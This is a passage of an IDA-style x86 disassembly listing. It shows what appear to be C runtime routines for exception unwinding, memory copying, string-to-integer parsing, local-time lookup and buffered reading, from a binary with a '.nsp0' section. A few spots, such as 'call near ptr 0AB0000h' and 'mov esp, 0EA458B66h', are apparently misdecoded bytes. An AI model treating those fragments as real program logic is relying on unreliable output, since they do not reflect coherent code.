var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_412D1A
loc_412CE1: ; CODE XREF: sub_412CC3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_412CEB
call sub_4174C2
loc_412CEB: ; CODE XREF: sub_412CC3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_412D00
cmp ecx, [eax+8]
jle short loc_412D05
loc_412D00: ; CODE XREF: sub_412CC3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_412D11
loc_412D05: ; CODE XREF: sub_412CC3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_412D11: ; CODE XREF: sub_412CC3+40j
cmp [ebp+arg_4], 0
jge short loc_412CE1
mov eax, [ebp+var_4]
loc_412D1A: ; CODE XREF: sub_412CC3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_412D2E
cmp esi, eax
jbe short loc_412D33
loc_412D2E: ; CODE XREF: sub_412CC3+65j
call sub_4174C2
loc_412D33: ; CODE XREF: sub_412CC3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_412CC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D40 proc near ; CODE XREF: sub_419528+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_412D58
push [ebp+arg_0]
call sub_41C9DC ; RtlUnwind
loc_412D58: ; DATA XREF: sub_412D40+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_412D40 endp
; =============== S U B R O U T I N E =======================================
sub_412D60 proc near ; DATA XREF: sub_412D82+Ao
; sub_412DEA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_412D81
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_412D81: ; CODE XREF: sub_412D60+10j
retn
sub_412D60 endp
; =============== S U B R O U T I N E =======================================
sub_412D82 proc near ; CODE XREF: sub_41713F+Dp
; sub_419528+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_412D60
push large dword ptr fs:0
mov large fs:0, esp
loc_412D9F: ; CODE XREF: sub_412D82:loc_412DDAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_412DDC
cmp esi, [esp+1Ch+arg_4]
jz short loc_412DDC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_412DDA
push 101h
mov eax, [ebx+esi*4+8]
call sub_412E16
call dword ptr [ebx+esi*4+8]
loc_412DDA: ; CODE XREF: sub_412D82+44j
jmp short loc_412D9F
; ---------------------------------------------------------------------------
loc_412DDC: ; CODE XREF: sub_412D82+2Aj
; sub_412D82+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_412D82 endp
; =============== S U B R O U T I N E =======================================
sub_412DEA proc near ; CODE XREF: sub_41715F+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_412D60
jnz short locret_412E0C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_412E0C
mov eax, 1
locret_412E0C: ; CODE XREF: sub_412DEA+10j
; sub_412DEA+1Bj
retn
sub_412DEA endp
; =============== S U B R O U T I N E =======================================
sub_412E0D proc near ; CODE XREF: sub_417420+1Ep
; sub_417420+40p
push ebx
push ecx
mov ebx, offset dword_43148C
jmp short loc_412E20
sub_412E0D endp
; =============== S U B R O U T I N E =======================================
sub_412E16 proc near ; CODE XREF: sub_412D82+4Fp
; sub_419528+78p
push ebx
push ecx
mov ebx, offset dword_43148C
mov ecx, [ebp+8]
loc_412E20: ; CODE XREF: sub_412E0D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_412E16 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412E30 proc near ; CODE XREF: sub_403053+5p
; sub_4031F5+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_412E30 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412E4F proc near ; CODE XREF: sub_4036CA+26p
; .nsp0:0041C7B5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_412813
pop ecx
retn
sub_412E4F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E60 proc near ; CODE XREF: sub_40373B+3Ap
; sub_4153F8+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_412E80
cmp edi, eax
jb loc_412FF8
loc_412E80: ; CODE XREF: sub_412E60+16j
test edi, 3
jnz short loc_412E9C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_412EBC
rep movsd
jmp off_412FA8[edx*4]
; ---------------------------------------------------------------------------
loc_412E9C: ; CODE XREF: sub_412E60+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_412EB4
and eax, 3
add ecx, eax
jmp dword ptr loc_412EBC+4[eax*4]
; ---------------------------------------------------------------------------
loc_412EB4: ; CODE XREF: sub_412E60+46j
jmp dword ptr loc_412FB8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_412EBC: ; CODE XREF: sub_412E60+31j
; sub_412E60+8Ej ...
jmp off_412F3C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_412ED0
dd offset loc_412EFC
dd offset loc_412F20
; ---------------------------------------------------------------------------
loc_412ED0: ; DATA XREF: sub_412E60+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_412EBC
rep movsd
jmp off_412FA8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_412EFC: ; DATA XREF: sub_412E60+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_412EBC
rep movsd
jmp off_412FA8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_412F20: ; DATA XREF: sub_412E60+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_412EBC
rep movsd
jmp off_412FA8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_412F3C dd offset loc_412F9F ; DATA XREF: sub_412E60:loc_412EBCr
dd offset loc_412F8C
dd offset loc_412F84
dd offset loc_412F7C
off_412F4C dd offset loc_412F74 ; DATA XREF: .nsp0:off_4256A8o
dd offset loc_412F6C
dd offset loc_412F64
dd offset loc_412F5C
; ---------------------------------------------------------------------------
loc_412F5C: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_412F64: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_412F6C: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_412F74: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60:off_412F4Co
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_412F7C: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_412F84: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_412F8C: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_412F9F: ; CODE XREF: sub_412E60:loc_412EBCj
; DATA XREF: sub_412E60:off_412F3Co
jmp off_412FA8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_412FA8 dd offset loc_412FB8 ; DATA XREF: sub_412E60+35r
; sub_412E60+92r ...
dd offset loc_412FC0
dd offset loc_412FCC
dd offset loc_412FE0
; ---------------------------------------------------------------------------
loc_412FB8: ; CODE XREF: sub_412E60+35j
; sub_412E60+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_412FC0: ; CODE XREF: sub_412E60+35j
; sub_412E60+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_412FCC: ; CODE XREF: sub_412E60+35j
; sub_412E60+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_412FE0: ; CODE XREF: sub_412E60+35j
; sub_412E60+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_412FF8: ; CODE XREF: sub_412E60+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41302C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_413020
std
rep movsd
cld
jmp off_413140[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_413020: ; CODE XREF: sub_412E60+1B1j
; sub_412E60+208j ...
neg ecx
jmp dword ptr loc_4130EF+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41302C: ; CODE XREF: sub_412E60+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_413044
and eax, 3
sub ecx, eax
jmp dword ptr loc_413044+4[eax*4]
; ---------------------------------------------------------------------------
loc_413044: ; CODE XREF: sub_412E60+1D6j
; DATA XREF: sub_412E60+1DDr
jmp off_413140[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_413058
dd offset loc_413078
dd offset loc_4130A0
; ---------------------------------------------------------------------------
loc_413058: ; DATA XREF: sub_412E60+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_413020
std
rep movsd
cld
jmp off_413140[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_413078: ; DATA XREF: sub_412E60+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_413020
std
rep movsd
cld
jmp off_413140[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4130A0: ; DATA XREF: sub_412E60+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_413020
std
rep movsd
cld
jmp off_413140[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4130F4
; ---------------------------------------------------------------------------
cld
xor [ecx+0], al
add al, 31h
inc ecx
add [ecx+esi], cl
inc ecx
add [ecx+esi], dl
inc ecx
add [ecx+esi], bl
inc ecx
add [ecx+esi], ah
inc ecx
loc_4130EF: ; DATA XREF: sub_412E60+1C2r
add [edi], dh
xor [ecx+0], eax
loc_4130F4: ; DATA XREF: sub_412E60+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_413137: ; CODE XREF: sub_412E60+1C2j
jmp off_413140[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_413140 dd offset loc_413150 ; DATA XREF: sub_412E60+1B7r
; sub_412E60:loc_413044r ...
dd offset loc_413158
dd offset loc_413168
dd offset loc_41317C
; ---------------------------------------------------------------------------
loc_413150: ; CODE XREF: sub_412E60+1B7j
; sub_412E60:loc_413044j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_413158: ; CODE XREF: sub_412E60+1B7j
; sub_412E60:loc_413044j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_413168: ; CODE XREF: sub_412E60+1B7j
; sub_412E60:loc_413044j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41317C: ; CODE XREF: sub_412E60+1B7j
; sub_412E60:loc_413044j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_412E60 endp
; =============== S U B R O U T I N E =======================================
sub_413195 proc near ; CODE XREF: sub_4037A2+34p
; sub_4037A2+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_4127B1
pop ecx
pop ecx
retn
sub_413195 endp
; =============== S U B R O U T I N E =======================================
sub_4131A3 proc near ; CODE XREF: sub_413210+4p
arg_0 = dword ptr 4
push esi
push dword_464234
call sub_417518
mov edx, dword_464234
pop ecx
mov ecx, dword_464230
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_413202
push edx
call sub_417518
add eax, 10h
push eax
push dword_464234
call sub_413D8F
add esp, 0Ch
test eax, eax
jnz short loc_4131E5
retn
; ---------------------------------------------------------------------------
loc_4131E5: ; CODE XREF: sub_4131A3+3Fj
mov ecx, dword_464230
sub ecx, dword_464234
mov dword_464234, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_464230, ecx
loc_413202: ; CODE XREF: sub_4131A3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_464230, 4
retn
sub_4131A3 endp
; =============== S U B R O U T I N E =======================================
sub_413210 proc near ; CODE XREF: sub_40388F+1Ap
; sub_41C9BE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4131A3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_413210 endp
; =============== S U B R O U T I N E =======================================
sub_413222 proc near ; DATA XREF: .nsp0:0041F014o
push 80h
call sub_41279F
test eax, eax
pop ecx
mov dword_464234, eax
jnz short loc_413243
push 18h
call sub_4144BE
mov eax, dword_464234
pop ecx
loc_413243: ; CODE XREF: sub_413222+12j
and dword ptr [eax], 0
mov eax, dword_464234
mov dword_464230, eax
retn
sub_413222 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413251 proc near ; CODE XREF: sub_413459+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_413269: ; CODE XREF: sub_413251+46j
cmp dword_4316BC, 1
jle short loc_413281
movzx eax, bl
push 8
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_413290
; ---------------------------------------------------------------------------
loc_413281: ; CODE XREF: sub_413251+1Fj
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_413290: ; CODE XREF: sub_413251+2Ej
test eax, eax
jz short loc_413299
mov bl, [esi]
inc esi
jmp short loc_413269
; ---------------------------------------------------------------------------
loc_413299: ; CODE XREF: sub_413251+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_4132A7
or [ebp+arg_C], 2
jmp short loc_4132AC
; ---------------------------------------------------------------------------
loc_4132A7: ; CODE XREF: sub_413251+4Ej
cmp bl, 2Bh
jnz short loc_4132B2
loc_4132AC: ; CODE XREF: sub_413251+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_4132B2: ; CODE XREF: sub_413251+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_413449
cmp eax, 1
jz loc_413449
cmp eax, 24h
jg loc_413449
push 10h
test eax, eax
pop ecx
jnz short loc_4132FA
cmp bl, 30h
jz short loc_4132E4
mov [ebp+arg_8], 0Ah
jmp short loc_413316
; ---------------------------------------------------------------------------
loc_4132E4: ; CODE XREF: sub_413251+88j
mov al, [esi]
cmp al, 78h
jz short loc_4132F7
cmp al, 58h
jz short loc_4132F7
mov [ebp+arg_8], 8
jmp short loc_413316
; ---------------------------------------------------------------------------
loc_4132F7: ; CODE XREF: sub_413251+97j
; sub_413251+9Bj
mov [ebp+arg_8], ecx
loc_4132FA: ; CODE XREF: sub_413251+83j
cmp [ebp+arg_8], ecx
jnz short loc_413316
cmp bl, 30h
jnz short loc_413316
mov al, [esi]
cmp al, 78h
jz short loc_41330E
cmp al, 58h
jnz short loc_413316
loc_41330E: ; CODE XREF: sub_413251+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_413316: ; CODE XREF: sub_413251+91j
; sub_413251+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_413326: ; CODE XREF: sub_413251+16Cj
cmp dword_4316BC, 1
movzx esi, bl
jle short loc_41333E
push 4
push esi
call sub_414E26
pop ecx
pop ecx
jmp short loc_413349
; ---------------------------------------------------------------------------
loc_41333E: ; CODE XREF: sub_413251+DFj
mov eax, off_4314B0
mov al, [eax+esi*2]
and eax, 4
loc_413349: ; CODE XREF: sub_413251+EBj
test eax, eax
jz short loc_413355
movsx ecx, bl
sub ecx, 30h
jmp short loc_413387
; ---------------------------------------------------------------------------
loc_413355: ; CODE XREF: sub_413251+FAj
cmp dword_4316BC, 1
jle short loc_413369
push edi
push esi
call sub_414E26
pop ecx
pop ecx
jmp short loc_413374
; ---------------------------------------------------------------------------
loc_413369: ; CODE XREF: sub_413251+10Bj
mov eax, off_4314B0
mov ax, [eax+esi*2]
and eax, edi
loc_413374: ; CODE XREF: sub_413251+116j
test eax, eax
jz short loc_4133C2
movsx eax, bl
push eax
call sub_417541
pop ecx
mov ecx, eax
sub ecx, 37h
loc_413387: ; CODE XREF: sub_413251+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4133C2
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_4133AC
jnz short loc_4133A6
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_4133AC
loc_4133A6: ; CODE XREF: sub_413251+147j
or [ebp+arg_C], 4
jmp short loc_4133B5
; ---------------------------------------------------------------------------
loc_4133AC: ; CODE XREF: sub_413251+145j
; sub_413251+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_4133B5: ; CODE XREF: sub_413251+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_413326
; ---------------------------------------------------------------------------
loc_4133C2: ; CODE XREF: sub_413251+125j
; sub_413251+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4133E0
test edx, edx
jz short loc_4133DA
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4133DA: ; CODE XREF: sub_413251+181j
and [ebp+var_8], 0
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_4133E0: ; CODE XREF: sub_413251+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_413406
test cl, 1
jnz short loc_41342D
and ecx, 2
jz short loc_4133FD
cmp [ebp+var_8], 80000000h
ja short loc_413406
loc_4133FD: ; CODE XREF: sub_413251+1A1j
test ecx, ecx
jnz short loc_41342D
cmp [ebp+var_8], eax
jbe short loc_41342D
loc_413406: ; CODE XREF: sub_413251+197j
; sub_413251+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_462BC4, 22h
jz short loc_41341C
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_41341C: ; CODE XREF: sub_413251+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41342D: ; CODE XREF: sub_413251+18Dj
; sub_413251+19Cj ...
test edx, edx
jz short loc_413436
mov eax, [ebp+var_4]
mov [edx], eax
loc_413436: ; CODE XREF: sub_413251+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_413444
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_413444: ; CODE XREF: sub_413251+1E9j
mov eax, [ebp+var_8]
jmp short loc_413454
; ---------------------------------------------------------------------------
loc_413449: ; CODE XREF: sub_413251+66j
; sub_413251+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_413452
mov [eax], edi
loc_413452: ; CODE XREF: sub_413251+1FDj
xor eax, eax
loc_413454: ; CODE XREF: sub_413251+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_413251 endp
; =============== S U B R O U T I N E =======================================
sub_413459 proc near ; CODE XREF: sub_403A5B+4BDp
; .nsp0:0040D561p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_413251
add esp, 10h
retn
sub_413459 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413470 proc near ; CODE XREF: sub_403A5B+266p
; sub_403A5B+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_4126F0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41760D
add esp, 10h
leave
retn
sub_413470 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134A4 proc near ; CODE XREF: sub_403A5B+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_41D058 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call near ptr 0AB0000h
mov esp, 0EA458B66h
cmp ax, word_462BBA
jnz short loc_413509
mov ax, [ebp+var_18]
cmp ax, word_462BB8
jnz short loc_413509
mov ax, [ebp+var_1A]
cmp ax, word_462BB6
jnz short loc_413509
mov ax, [ebp+var_1E]
cmp ax, word_462BB2
jnz short loc_413509
mov ax, [ebp+var_20]
cmp ax, word_462BB0
jnz short loc_413509
mov eax, dword_462BA8
jmp short loc_41354E
; ---------------------------------------------------------------------------
loc_413509: ; CODE XREF: sub_4134A4+28j
; sub_4134A4+35j ...
lea eax, [ebp+var_CC]
push eax
call near ptr 0AB0000h
push cs
cmp eax, 0FFFFFFFFh
jz short loc_413536
cmp eax, 2
jnz short loc_413532
cmp [ebp+var_32], 0
jz short loc_413532
cmp [ebp+var_24], 0
jz short loc_413532
push 1
pop eax
jmp short loc_413539
; ---------------------------------------------------------------------------
loc_413532: ; CODE XREF: sub_4134A4+7Aj
; sub_4134A4+81j ...
xor eax, eax
jmp short loc_413539
; ---------------------------------------------------------------------------
loc_413536: ; CODE XREF: sub_4134A4+75j
or eax, 0FFFFFFFFh
loc_413539: ; CODE XREF: sub_4134A4+8Cj
; sub_4134A4+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_462BB0
movsd
movsd
movsd
movsd
pop edi
mov dword_462BA8, eax
pop esi
loc_41354E: ; CODE XREF: sub_4134A4+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_4180BE
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41357E
mov [ecx], eax
locret_41357E: ; CODE XREF: sub_4134A4+D6j
leave
retn
sub_4134A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413580 proc near ; CODE XREF: sub_4040DB+4Ep
; sub_405290+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_4135A4
xor eax, eax
jmp loc_41364D
; ---------------------------------------------------------------------------
loc_4135A4: ; CODE XREF: sub_413580+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_4135B7
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_4135C3
; ---------------------------------------------------------------------------
loc_4135B7: ; CODE XREF: sub_413580+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_4135C3
; ---------------------------------------------------------------------------
loc_4135C0: ; CODE XREF: sub_413580+C4j
mov ecx, [ebp+arg_0]
loc_4135C3: ; CODE XREF: sub_413580+35j
; sub_413580+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_4135F5
mov eax, [esi+4]
test eax, eax
jz short loc_4135F5
cmp ecx, eax
mov edi, ecx
jb short loc_4135DA
mov edi, eax
loc_4135DA: ; CODE XREF: sub_413580+56j
push edi
push dword ptr [esi]
push ebx
call sub_411FD0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_413640
; ---------------------------------------------------------------------------
loc_4135F5: ; CODE XREF: sub_413580+49j
; sub_413580+50j
cmp ecx, [ebp+arg_C]
jb short loc_413628
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41360B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41360B: ; CODE XREF: sub_413580+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_418259
add esp, 0Ch
test eax, eax
jz short loc_413652
cmp eax, 0FFFFFFFFh
jz short loc_413658
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_413640
; ---------------------------------------------------------------------------
loc_413628: ; CODE XREF: sub_413580+78j
push esi
call sub_418180
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41365C
mov [ebx], al
